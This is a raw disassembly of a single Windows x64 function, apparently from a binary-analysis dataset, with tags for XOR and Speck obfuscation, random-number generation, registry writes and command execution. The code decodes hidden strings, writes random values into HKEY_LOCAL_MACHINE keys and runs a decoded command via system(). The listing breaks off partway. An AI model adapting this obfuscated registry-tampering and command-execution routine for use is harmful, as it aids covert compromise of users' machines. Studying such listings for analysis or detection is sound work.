Function at 0x1400c0880
Capabilities:
Encode data using xor
Encrypt data using speck
Execute command
Generate random numbers using a mersenne twister
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1540]
mov eax, 0x1640
call fcn.140148d30
sub rsp, rax
movaps xmmword [rsp + 0x1630], xmm6
movaps xmmword [rsp + 0x1620], xmm7
mov rax, qword [0x14018d080]
xor rax, rsp
mov qword [rbp + 0x1510], rax
xor ebx, ebx
mov dword [rbp - 0x30], ebx
movups xmm0, xmmword [0x1401732c0]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x1401732d0]
movups xmmword [rbp + 0x20], xmm1
movups xmm0, xmmword [0x1401732e0]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [0x1401732f0]
movups xmmword [rbp + 0x40], xmm1
movsd xmm0, qword [0x140173300]
movsd qword [rbp + 0x50], xmm0
mov eax, dword [0x140173308]
mov dword [rbp + 0x58], eax
movzx eax, byte [0x14017330c]
mov byte [rbp + 0x5c], al
mov r8d, ebx
mov r13d, dword [reloc.WS2_32.dll_accept]
cmp r13d, 2
jl 0x1400c0a6e
movdqa xmm5, xmmword [0x140176ee0]
movdqa xmm4, xmmword [0x140177220]
movdqa xmm6, xmmword [0x140176f40]
movdqa xmm0, xmmword [0x140177050]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x14]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x1400c0961
cmp r8d, 0x4d
jge 0x1400c0ab3
movsxd rax, r8d
lea r9, [rbp + 0x10]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4d
jl 0x1400c0a80
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp + 0x10]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x1504], 0xffffffff
mov dword [rbp + 0x184], eax
mov r14d, 1
mov edx, r14d
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x184], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c0b00
mov dword [rbp + 0x180], 0x270
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], rbx
mov qword [rbp], rbx
mov r8d, 2
lea rdx, [0x140172ba8]
lea rcx, [rbp - 0x18]
call fcn.140059030
nop
mov edi, 5
nop dword [rax]
movups xmm0, xmmword [str.RVVRRRRVVRR..226622__226M]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x140173170]
movsd qword [rsp + 0x40], xmm0
movzx eax, word [0x140173178]
mov word [rsp + 0x48], ax
movzx eax, byte [0x14017317a]
mov byte [rsp + 0x4a], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c0cdd
movdqa xmm5, xmmword [0x140176ee0]
movdqa xmm4, xmmword [0x140177220]
movdqa xmm6, xmmword [0x140176f40]
movdqa xmm0, xmmword [0x140177050]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400c0bd0
cmp r8d, 0x1b
jge 0x1400c0d23
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400c0cf0
lea rcx, [rbp + 0x180]
call fcn.14008a850
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x1400c0d57
nop word [rax + rax]
lea rcx, [rbp + 0x180]
call fcn.14008a850
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x1400c0d40
shr rax, 0x20
movsx ecx, byte [rsp + rax + 0x30]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
mov rdx, qword [rbp - 8]
mov r8, qword [rbp]
cmp rdx, r8
jae 0x1400c0d92
lea rcx, [rdx + 1]
mov qword [rbp - 8], rcx
lea rcx, [rbp - 0x18]
cmp r8, 0xf
cmova rcx, qword [rbp - 0x18]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], 0
jmp 0x1400c0d9f
movzx r9d, al
lea rcx, [rbp - 0x18]
call fcn.1400605f0
sub rdi, 1
jne 0x1400c0b60
mov r12d, 6
mov qword [rsp + 0x30], r12
mov esi, r12d
movzx r15d, byte [0x140173722]
movzx edi, word [0x140173720]
movsd xmm0, qword [0x140173718]
nop
movsd qword [rbp - 0x30], xmm0
mov word [rbp - 0x28], di
movzx ecx, r15b
mov byte [rbp - Ordinal_50], 0x30
xor byte [rbp - 0x2f], 0x34
xor byte [rbp - 0x2e], 0x35
xor byte [rbp - 0x2d], 0x36
xor byte [rbp - 0x2c], 0x37
xor byte [rbp - 0x2b], 0x38
xor byte [rbp - 0x2a], 0x39
xor byte [rbp - 0x29], 0x3a
movzx eax, dil
xor al, 0x3b
mov byte [rbp - 0x28], al
xor byte [rbp - 0x27], 0x3c
xor cl, 0x3d
mov byte [rbp - 0x26], cl
lea rcx, [rbp + 0x180]
call fcn.14008a850
mov ecx, eax
lea rax, [rcx + rcx*4]
add rax, rax
cmp eax, 5
ja 0x1400c0e4a
nop word [rax + rax]
lea rcx, [rbp + 0x180]
call fcn.14008a850
mov ecx, eax
lea rax, [rcx + rcx*4]
add rax, rax
cmp eax, r12d
jb 0x1400c0e30
shr rax, 0x20
movzx r9d, byte [rbp + rax - 0x30]
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp]
cmp rcx, rdx
jae 0x1400c0e81
lea rax, [rcx + 1]
mov qword [rbp - 8], rax
lea rax, [rbp - 0x18]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x18]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400c0ea1
lea rcx, [rbp - 0x18]
call fcn.1400605f0
movzx r15d, byte [0x140173722]
movzx edi, word [0x140173720]
movsd xmm0, qword [0x140173718]
sub rsi, 1
jne 0x1400c0dd0
lea r10, [rbp - 0x18]
movsd xmm0, qword [str._QG_VTwOVXL_]
mov eax, dword [0x140173da0]
movsd qword [rbp - 0x30], xmm0
mov dword [rbp - 0x28], eax
movzx eax, byte [0x140173da4]
mov byte [rbp - 0x24], al
cmp qword [rbp], 0xf
jbe 0x1400c0eda
mov r10, qword [rbp - 0x18]
mov r8d, ebx
cmp r13d, 2
jl 0x1400c0fee
movdqa xmm4, xmmword [0x140177220]
movdqa xmm2, xmmword [0x140176ee0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140176f40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
mov eax, dword [0x140177050]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str._QG_VTwOVXL_]
xorps xmm2, xmm0
movd dword [rbp - 0x30], xmm2
movdqa xmm3, xmmword [0x140176f00]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140176f40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x2c]
xorps xmm2, xmm1
movd dword [rbp - 0x2c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400c1000
mov eax, dword [rbp - 8]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp - 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c1062
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp - 0x18]
call fcn.14003d5f0
movups xmm0, xmmword [0x140172f90]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x140172fa0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x140172fb0]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x140172fc0]
movups xmmword [rbp - 0x50], xmm1
movsd xmm0, qword [0x140172fd0]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x140172fd8]
mov dword [rbp - 0x38], eax
movzx eax, byte [0x140172fdc]
mov byte [rbp - 0x34], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c11ff
movdqa xmm5, xmmword [0x140176ee0]
movdqa xmm4, xmmword [0x140177220]
movdqa xmm6, xmmword [0x140176f40]
movdqa xmm0, xmmword [0x140177050]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x1400c10f2
cmp r8d, 0x4d
jge 0x1400c1243
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4d
jl 0x1400c1210
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp - 0x80]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x1504], 0xffffffff
mov dword [rbp + 0x184], eax
mov rdx, r14
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x184], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c1281
mov dword [rbp + 0x180], 0x270
movzx eax, word [0x140173fbc]
mov word [rbp - 0x30], ax
cmp byte [reloc.WS2_32.dll_gethostbyname], 0
je 0x1400c12cb
mov byte [rbp - 0x30], 0x53
xor byte [rbp - 0x2f], 0x34
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x28], rbx
lea rax, [rbp - 0x30]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400c12e5
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x10]
call fcn.140059030
nop
mov r12d, 5
movups xmm0, xmmword [str.RVVRRRRVVRR..226622__226M]
movups xmmword [rbp - 0x18], xmm0
movsd xmm0, qword [0x140173170]
movsd qword [rbp - 8], xmm0
movzx eax, word [0x140173178]
mov word [rbp], ax
movzx eax, byte [0x14017317a]
mov byte [rbp + 2], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c147d
movdqa xmm5, xmmword [0x140176ee0]
movdqa xmm4, xmmword [0x140177220]
movdqa xmm6, xmmword [0x140176f40]
movdqa xmm0, xmmword [0x140177050]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x14]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400c1370
cmp r8d, 0x1b
jge 0x1400c14c3
movsxd rax, r8d
lea r9, [rbp - 0x18]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400c1490
lea rcx, [rbp + 0x180]
call fcn.14008a850
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x1400c14f7
nop word [rax + rax]
lea rcx, [rbp + 0x180]
call fcn.14008a850
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x1400c14e0
shr rax, 0x20
movsx ecx, byte [rbp + rax - 0x18]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
mov rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x28]
cmp rdx, r8
jae 0x1400c1532
lea rcx, [rdx + 1]
mov qword [rbp + 0x20], rcx
lea rcx, [rbp + 0x10]
cmp r8, 0xf
cmova rcx, qword [rbp + 0x10]
mov byte [rdx + rcx], al
mov byte [rdx + rcx + 1], 0
jmp 0x1400c153f
movzx r9d, al
lea rcx, [rbp + 0x10]
call fcn.1400605f0
sub r12, 1
jne 0x1400c1303
movzx esi, byte [0x140173722]
movzx edi, word [0x140173720]
movsd xmm0, qword [0x140173718]
mov r12, qword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movsd qword [rsp + 0x30], xmm0
mov word [rsp + 0x38], di
movzx ecx, sil
mov byte [rsp + gethostbyname], 0x30
xor byte [rsp + 0x31], 0x34
xor byte [rsp + 0x32], 0x35
xor byte [rsp + 0x33], 0x36
xor byte [rsp + 0x34], 0x37
xor byte [rsp + 0x35], 0x38
xor byte [rsp + 0x36], 0x39
xor byte [rsp + 0x37], 0x3a
movzx eax, dil
xor al, 0x3b
mov byte [rsp + 0x38], al
xor byte [rsp + 0x39], 0x3c
xor cl, 0x3d
mov byte [rsp + 0x3a], cl
lea rcx, [rbp + 0x180]
call fcn.14008a850
mov ecx, eax
lea rax, [rcx + rcx*4]
add rax, rax
cmp eax, 5
ja 0x1400c15fa
nop word [rax + rax]
lea rcx, [rbp + 0x180]
call fcn.14008a850
mov ecx, eax
lea rax, [rcx + rcx*4]
add rax, rax
cmp eax, 6
jb 0x1400c15e0
shr rax, 0x20
movzx r9d, byte [rsp + rax + 0x30]
mov rcx, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x28]
cmp rcx, rdx
jae 0x1400c1631
lea rax, [rcx + 1]
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x10]
cmp rdx, 0xf
cmova rax, qword [rbp + 0x10]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400c1650
lea rcx, [rbp + 0x10]
call fcn.1400605f0
movzx esi, byte [0x140173722]
movzx edi, word [0x140173720]
movsd xmm0, qword [0x140173718]
sub r12, 1
jne 0x1400c1570
lea r10, [rbp + 0x10]
movsd xmm0, qword [str._QG_VTwOVXL_]
mov eax, dword [0x140173da0]
movsd qword [rsp + 0x30], xmm0
mov dword [rsp + 0x38], eax
movzx eax, byte [0x140173da4]
mov byte [rsp + 0x3c], al
cmp qword [rbp + 0x28], 0xf
jbe 0x1400c168c
mov r10, qword [rbp + 0x10]
mov r8d, ebx
cmp r13d, 2
jl 0x1400c17a3
movdqa xmm4, xmmword [0x140177220]
movdqa xmm2, xmmword [0x140176ee0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140176f40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
mov eax, dword [0x140177050]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str._QG_VTwOVXL_]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x140176f00]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140176f40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400c17b0
mov eax, dword [rbp + 0x20]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c1813
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp + 0x10]
call fcn.14003d5f0
movups xmm0, xmmword [0x140173128]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x140173138]
movups xmmword [rbp + 0x20], xmm1
movups xmm0, xmmword [0x140173148]
movups xmmword [rbp + 0x30], xmm0
mov eax, dword [0x140173158]
mov dword [rbp + 0x40], eax
movzx eax, byte [0x14017315c]
mov byte [rbp + 0x44], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c199d
movdqa xmm5, xmmword [0x140176ee0]
movdqa xmm4, xmmword [0x140177220]
movdqa xmm6, xmmword [0x140176f40]
movdqa xmm0, xmmword [0x140177050]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x14]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400c1890
cmp r8d, 0x35
jge 0x1400c19e3
movsxd rax, r8d
lea r9, [rbp + 0x10]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x1400c19b0
lea rcx, [rbp + 0x10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140173450]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x140173460]
movups xmmword [rbp + 0x20], xmm1
movups xmm0, xmmword [0x140173470]
movups xmmword [rbp + 0x30], xmm0
movsd xmm0, qword [0x140173480]
movsd qword [rbp + 0x40], xmm0
movzx eax, byte [0x140173488]
mov byte [rbp + 0x48], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c1b6d
movdqa xmm5, xmmword [0x140176ee0]
movdqa xmm4, xmmword [0x140177220]
movdqa xmm6, xmmword [0x140176f40]
movdqa xmm0, xmmword [0x140177050]
movdqa xmmword [rsp + 0x70], xmm0
